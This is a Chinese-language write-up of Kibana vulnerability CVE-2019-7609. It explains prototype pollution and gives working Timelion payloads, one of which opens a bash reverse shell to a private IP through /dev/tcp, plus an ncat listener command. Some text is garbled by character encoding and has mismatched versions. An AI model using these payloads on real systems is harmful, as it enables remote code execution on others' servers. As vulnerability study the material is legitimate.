Kibana未授权访问漏洞记录(CVE-2019-7609,Kibana的RCE,原型链污染,端口:5601)
Kibana介紹
Kibana是一個(gè)開源的分析與可視化平臺(tái),設(shè)計(jì)出來用于和Elasticsearch一起使用的。你可以用kibana搜索、查看存放在Elasticsearch中的數(shù)據(jù)。Kibana與Elasticsearch的交互方式是各種不同的圖表、表格、地圖等,直觀的展示數(shù)據(jù),從而達(dá)到高級(jí)的數(shù)據(jù)分析與可視化的目的。
Elasticsearch、Logstash和Kibana這三個(gè)技術(shù)就是我們常說的ELK技術(shù)棧,可以說這三個(gè)技術(shù)的組合是大數(shù)據(jù)領(lǐng)域中一個(gè)很巧妙的設(shè)計(jì)。一種很典型的MVC思想,模型持久層,視圖層和控制層。Logstash擔(dān)任控制層的角色,負(fù)責(zé)搜集和過濾數(shù)據(jù)。Elasticsearch擔(dān)任數(shù)據(jù)持久層的角色,負(fù)責(zé)儲(chǔ)存數(shù)據(jù)。而Kibana擔(dān)任視圖層角色,擁有各種維度的查詢和分析,并使用圖形化的界面展示存放在Elasticsearch中的數(shù)據(jù)。
漏洞描述 及 影響范圍
Kibana 為 Elassticsearch 設(shè)計(jì)的一款開源的視圖工具。其5.6.15到6.6.1之間的版本中存在一處原型鏈污染漏洞,利用這個(gè)漏洞我們可以在目標(biāo)服務(wù)器上執(zhí)行任意JavaScript代碼。
修復(fù)方案
升級(jí)版本
漏洞復(fù)現(xiàn)
首先去官網(wǎng)下載6.5.3的tar包并解壓
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz tar -zxvf elasticsearch-6.5.3.tar.gz cd elasticsearch-6.5.3 ./bin/elasticsearch?不要用root用戶運(yùn)行
訪問http://127.0.0.1:9200/
證明成功了
Kibana安裝
官網(wǎng)下載壓縮包并解壓
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz tar –zxvf kibana-5.4.3-linux-x86_64.tar.gz cd kibana-5.4.3-linux-x86_64 ./bin/kibana環(huán)境啟動(dòng)后,訪問 http://your-ip:5601 即可看到Kibana頁面。
原型鏈污染發(fā)生在“Timeline”頁面,我們填入如下Payload:
創(chuàng)建文件
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')?shell反彈
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')成功后,再訪問“Canvas”頁面觸發(fā)命令 `/bin/touch /tmp/success`,可見 `/tmp/success` 已成功創(chuàng)建。
修復(fù)方案
1. 設(shè)置訪問權(quán)限(白名單,增加nginx賬號(hào))
2. 避免公網(wǎng)開放
漏洞原理(原型鏈污染)
讓我們來談?wù)凧avaScript
我如何訪問toString,如果它不是obj的屬性?
答案是:基于原型的繼承(prototype-based inheritance)
JavaScript中的每個(gè)對(duì)象都有一個(gè)原型,當(dāng)然也可以為空
我們可以通過 __proto__ 訪問它
Prototype chain(原型鏈)
當(dāng)試圖訪問obj.prop3…
簡而言之,如果JS引擎在obj1中尋找屬性,它需要遍歷整個(gè)原型鏈。
原型鏈結(jié)束時(shí)
__proto__ = = = null。
幾乎總是最后一個(gè)對(duì)象(objN)是object .prototype
原型鏈污染
原型污染發(fā)生在應(yīng)用程序中有可能污染對(duì)象的bug時(shí)。具有任意屬性的原型。
假設(shè)我們有一個(gè)密碼
if (user.isAdmin) {// Do something important }在應(yīng)用程序中有一個(gè)bug,所以我們可以賦值:
Object.prototype.isAdmin = true
那么每個(gè)人都是管理員!
關(guān)于原型污染的一般信息(如。如何實(shí)現(xiàn)),看看奧利維爾·阿爾托的研究吧:
- Paper and slides
- Youtube video
…因?yàn)樵谶@一講中,我將集中在原型污染的一個(gè)具體實(shí)例上。
Kibana 的原型污染
想實(shí)踐利用真實(shí)的脆弱, cve-2019-7609的例子,并尋找一些支持。
這確實(shí)引發(fā)了一個(gè)非常有趣的研究如何在現(xiàn)實(shí)世界中利用這種脆弱性。
https://s3.amazonaws.com/media-p.slid.es/videos/1152136/OkDr_8-j/1.mp4
這是一種污染原型的方式
讓我們來看看怎樣才能完成這個(gè)應(yīng)用程序……
在現(xiàn)實(shí)世界中,Kubana?需要在這一點(diǎn)上重新開始
但我可以通過調(diào)試器修復(fù)它
debugger
刷新 Dashboard
在“ 修復(fù)” object.prototype,Kibana又正常工作了
我們是怎么知道的?
1.?我們?cè)赥imelion有一個(gè)污染的原型。
下一個(gè)步驟
現(xiàn)在我必須找到一些代碼來將原型污染轉(zhuǎn)換為RCE。
我不知道我到底在找什么。
代碼類似于這樣:
if (obj.jsCode) {eval(obj.jsCode); }顯然,沒有發(fā)現(xiàn)任何類似的東西。
但是,順便說一句,我注意到了一些奇怪的事情。
在這一點(diǎn)上,我注意到在 Kibana?輸出中有很多錯(cuò)誤
為什么會(huì)有這么多錯(cuò)誤呢?
我用 --inspect 運(yùn)行 Kibana (它在端口9229上運(yùn)行調(diào)試器)。
現(xiàn)在我得到了很多端口已經(jīng)被使用的錯(cuò)誤。
結(jié)論:Kibana正在嘗試一種新的過程!
我們?cè)趺粗?#xff1f;
我們?cè)赥imelion有一個(gè)污染的原型。
點(diǎn)擊 “Canvas” 后,Kibana生成一個(gè)新的進(jìn)程。
debugger
這個(gè)功能基本上就是一個(gè)污染天堂的原型。
正在訪問許多未定義的屬性。
它們都可能被污染。
這是將傳遞給新流程的環(huán)境變量列表.
我們?cè)趺粗赖哪?#xff1f;
但也許還有其他與eval等效的命令行參數(shù)?
這證實(shí)了我可以執(zhí)行任意JS代碼,如果我控制env變量時(shí)產(chǎn)卵節(jié)點(diǎn)進(jìn)程。
不需要上傳文件。
我們?cè)趺粗赖哪?#xff1f;
Timelion輸入?
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')服務(wù)區(qū)接收反彈
ncat -vlp 12345點(diǎn)擊 "Canvas" 創(chuàng)建進(jìn)程反彈shell
總結(jié)
其他的想法
這一漏洞不是完全可靠的。
如果新進(jìn)程已經(jīng)生成,則不能運(yùn)行另一個(gè)進(jìn)程。
它也不完美。
我濫用了Linux的一些特定特性(/proc/self/environ)。如果利用的是純JS就更好了。
我發(fā)現(xiàn)的基本上是一個(gè)小工具:如果一個(gè)應(yīng)用程序容易受到原型污染的影響,并且它產(chǎn)生了一個(gè)新的進(jìn)程,我們可以使用完全相同的代碼。
思想研究
在node的stdlib中找到更多的gadget。
也許是ysoserial(ysopolluted?)這樣的工具。
如何以高效的方式找到小工具
最終結(jié)論
當(dāng) 關(guān)注點(diǎn)(stars) 排成一線時(shí),原型污染可以被利用來實(shí)現(xiàn)RCE。
總結(jié)
以上是生活随笔為你收集整理的Kibana未授权访问漏洞记录(CVE-2019-7609,Kibana的RCE,原型链污染,端口:5601)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 字体颜色对话框
- 下一篇: USACO Section1.2 You